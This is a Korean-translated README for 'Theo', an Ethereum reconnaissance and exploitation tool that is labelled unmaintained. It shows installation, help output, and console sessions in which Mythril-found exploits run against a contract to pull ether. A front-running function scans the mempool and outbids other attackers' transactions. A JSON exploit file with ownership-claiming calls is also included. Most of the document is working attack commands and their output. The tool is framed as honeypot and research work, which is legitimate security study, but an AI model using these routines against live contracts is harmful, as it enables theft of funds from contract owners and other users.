
이더리움 정찰 및 익스플로잇 도구.
더 이상 유지보수되지 않으며, 설치하지 마시고 사용하지 마십시오. 경고했습니다!
Theo는 익스플로잇 프레임워크이자 블록체인 정찰 및 상호작용 도구를 목표로 합니다.
기능:
그는 직장 동료인 Karl을 알고 있습니다.
Theo의 목적은 Script Kiddie들이 리트 해커인 척하는 것을 막는 것입니다. 그가 허니팟을 익스플로잇하려는 그들을 엿듣고, 자신의 이익을 위해 그들의 자금을 잃게 만들 수 있습니다.
"당신은 내 매력적인 성격 때문에 나를 데려온 게 아니야."
Theo는 PyPI 패키지로 제공됩니다:
$ pip install theo
$ theo --help
usage: theo [-h] [--rpc-http RPC_HTTP] [--rpc-ws RPC_WS] [--rpc-ipc RPC_IPC]
[--account-pk ACCOUNT_PK] [--contract ADDRESS]
[--skip-mythril SKIP_MYTHRIL] [--load-file LOAD_FILE] [--version]
Monitor contracts for balance changes or tx pool.
optional arguments:
-h, --help show this help message and exit
--rpc-http RPC_HTTP Connect to this HTTP RPC (default:
http://127.0.0.1:8545)
--account-pk ACCOUNT_PK
The account's private key (default: None)
--contract ADDRESS Contract to monitor (default: None)
--skip-mythril SKIP_MYTHRIL
Don't try to find exploits with Mythril (default:
False)
--load-file LOAD_FILE
Load exploit from file (default: )
--version show program's version number and exit
RPC connections:
--rpc-ws RPC_WS Connect to this WebSockets RPC (default: None)
--rpc-ipc RPC_IPC Connect to this IPC RPC (default: None)
소스에서 설치
$ git clone https://github.com/cleanunicorn/theo
$ cd theo
$ virtualenv ./venv
$ . ./venv/bin/activate
$ pip install -r requirements.txt
$ pip install -e .
$ theo --help
요구 사항:
스마트 컨트랙트를 스캔하고, 익스플로잇을 찾아 실행합니다:
허니팟 설정, 허니팟 배포, 공격자 대기, 프론트러닝:
먼저 도움말 화면을 확인하는 것이 좋습니다.
$ theo --help
usage: theo [-h] [--rpc-http RPC_HTTP] [--rpc-ws RPC_WS] [--rpc-ipc RPC_IPC]
[--account-pk ACCOUNT_PK] [--contract ADDRESS] [--skip-mythril]
[--load-file LOAD_FILE] [--version]
Monitor contracts for balance changes or tx pool.
optional arguments:
-h, --help show this help message and exit
--rpc-http RPC_HTTP Connect to this HTTP RPC (default:
http://127.0.0.1:8545)
--account-pk ACCOUNT_PK
The account's private key (default: None)
--contract ADDRESS Contract to interact with (default: None)
--skip-mythril Skip scanning the contract with Mythril (default:
False)
--load-file LOAD_FILE
Load exploit from file (default: )
--version show program's version number and exit
RPC connections:
--rpc-ws RPC_WS Connect to this WebSockets RPC (default: None)
--rpc-ipc RPC_IPC Connect to this IPC RPC (default: None)
mythril을 사용하여 익스플로잇 목록이 자동으로 식별됩니다.
다음 명령으로 세션을 시작하세요:
$ theo --contract=<스캔할 컨트랙트> --account-pk=<개인 키>
Scanning for exploits in contract: 0xa586074fa4fe3e546a132a16238abe37951d41fe
Connecting to HTTP: http://127.0.0.1:8545.
Found exploits(s):
[Exploit: (txs=[Transaction {Data: 0xcf7a8965, Value: 1000000000000000000}])]
A few objects are available in the console:
- `exploits` is an array of loaded exploits found by Mythril or read from a file
- `w3` an initialized instance of web3py for the provided HTTP RPC endpoint
Check the readme for more info:
https://github.com/cleanunicorn/theo
>>>
컨트랙트를 분석하여 사용 가능한 익스플로잇 목록을 찾습니다.
발견된 익스플로잇을 확인할 수 있습니다. 이 경우 하나의 익스플로잇이 발견되었습니다. 각 익스플로잇은 Exploit 객체입니다.
>>> exploits[0]
Exploit: (txs=[Transaction: {'input': '0xcf7a8965', 'value': '0xde0b6b3a7640000'}])
익스플로잇 단계는 익스플로잇 객체에서 .execute()를 호출하여 실행할 수 있습니다. 트랜잭션은 서명되어 연결된 노드로 전송됩니다.
>>> exploits[0].execute()
2019-07-22 11:26:12,196 - Sending tx: {'to': '0xA586074FA4Fe3E546A132a16238abe37951D41fE', 'gasPrice': 1, 'gas': 30521, 'value': 1000000000000000000, 'data': '0xcf7a8965', 'nonce': 47}
2019-07-22 11:26:12,200 - Waiting for 0x41b489c78f654cab0b0451fc573010ddb20ee6437cdbf5098b6b03ee1936c33c to be mined...
2019-07-22 11:26:16,337 - Mined
2019-07-22 11:26:16,341 - Initial balance: 1155999450759997797167 (1156.00 ether)
2019-07-22 11:26:16,342 - Final balance: 1156999450759997768901 (1157.00 ether)
프론트러닝 모니터를 시작하여 다른 해커들이 허니팟을 익스플로잇하려는 것을 감지할 수 있습니다.
.frontrun()을 사용하여 익스플로잇을 수신하고, 발견되면 더 높은 가스 가격으로 트랜잭션을 전송합니다.
>>> exploits[0].frontrun()
2019-07-22 11:22:26,285 - Scanning the mem pool for transactions...
2019-07-22 11:22:45,369 - Found tx: 0xf6041abe6e547cea93e80a451fdf53e6bdae67820244246fde44098f91ce1c20
2019-07-22 11:22:45,375 - Sending tx: {'to': '0xA586074FA4Fe3E546A132a16238abe37951D41fE', 'gasPrice': '0x2', 'data': '0xcf7a8965', 'gas': 30522, 'value': 1000000000000000000, 'nonce': 45}
2019-07-22 11:22:45,380 - Waiting for 0xa73316daf806e7eef83d09e467c32ce5faa239c6eda3a270a8ce7a7aae48fb7e to be mined...
2019-07-22 11:22:56,852 - Mined
"오, 맙소사! 쿼터백이 끝장났어!"
이는 특별히 제작된 일부 컨트랙트나 다른 취약한 컨트랙트에서 매우 잘 작동합니다. 단, 프론트러닝이 유리한지 확인해야 합니다.
mythril로 익스플로잇을 식별하는 대신, 익스플로잇 목록을 직접 지정할 수 있습니다.
다음과 같은 파일을 만드세요: exploits.json
[
[
{
"name": "claimOwnership()",
"input": "0x4e71e0c8",
"value": "0xde0b6b3a7640000"
},
{
"name": "retrieve()",
"input": "0x2e64cec1",
"value": "0x0"
}
],
[
{
"name": "claimOwnership()",
"input": "0x4e71e0c8",
"value": "0xde0b6b3a7640000"
}
]
]
이 파일은 2개의 익스플로잇을 정의하며, 첫 번째는 2개의 트랜잭션, 두 번째는 1개의 트랜잭션을 가집니다.
다음과 같이 로드할 수 있습니다:
$ theo --load-file=./exploits.json
이 오류가 발생하면 libssl 소스 라이브러리가 필요합니다:
scrypt-1.2.1/libcperciva/crypto/crypto_aes.c:6:10: fatal error: openssl/aes.h: No such file or directory
#include <openssl/aes.h>
^~~~~~~~~~~~~~~
compilation terminated.
error: command 'x86_64-linux-gnu-gcc' failed with exit status 1
----------------------------------------
Command "/usr/bin/python3 -u -c "import setuptools, tokenize;__file__='/tmp/pip-build-5rl4ep94/scrypt/setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, __file__, 'exec'))" install --record /tmp/pip-mnbzx9qe-record/install-record.txt --single-version-externally-managed --compile" failed with error code 1 in /tmp/pip-build-5rl4ep94/scrypt/
Ubuntu에서는 다음 명령으로 설치할 수 있습니다:
$ sudo apt install libssl-dev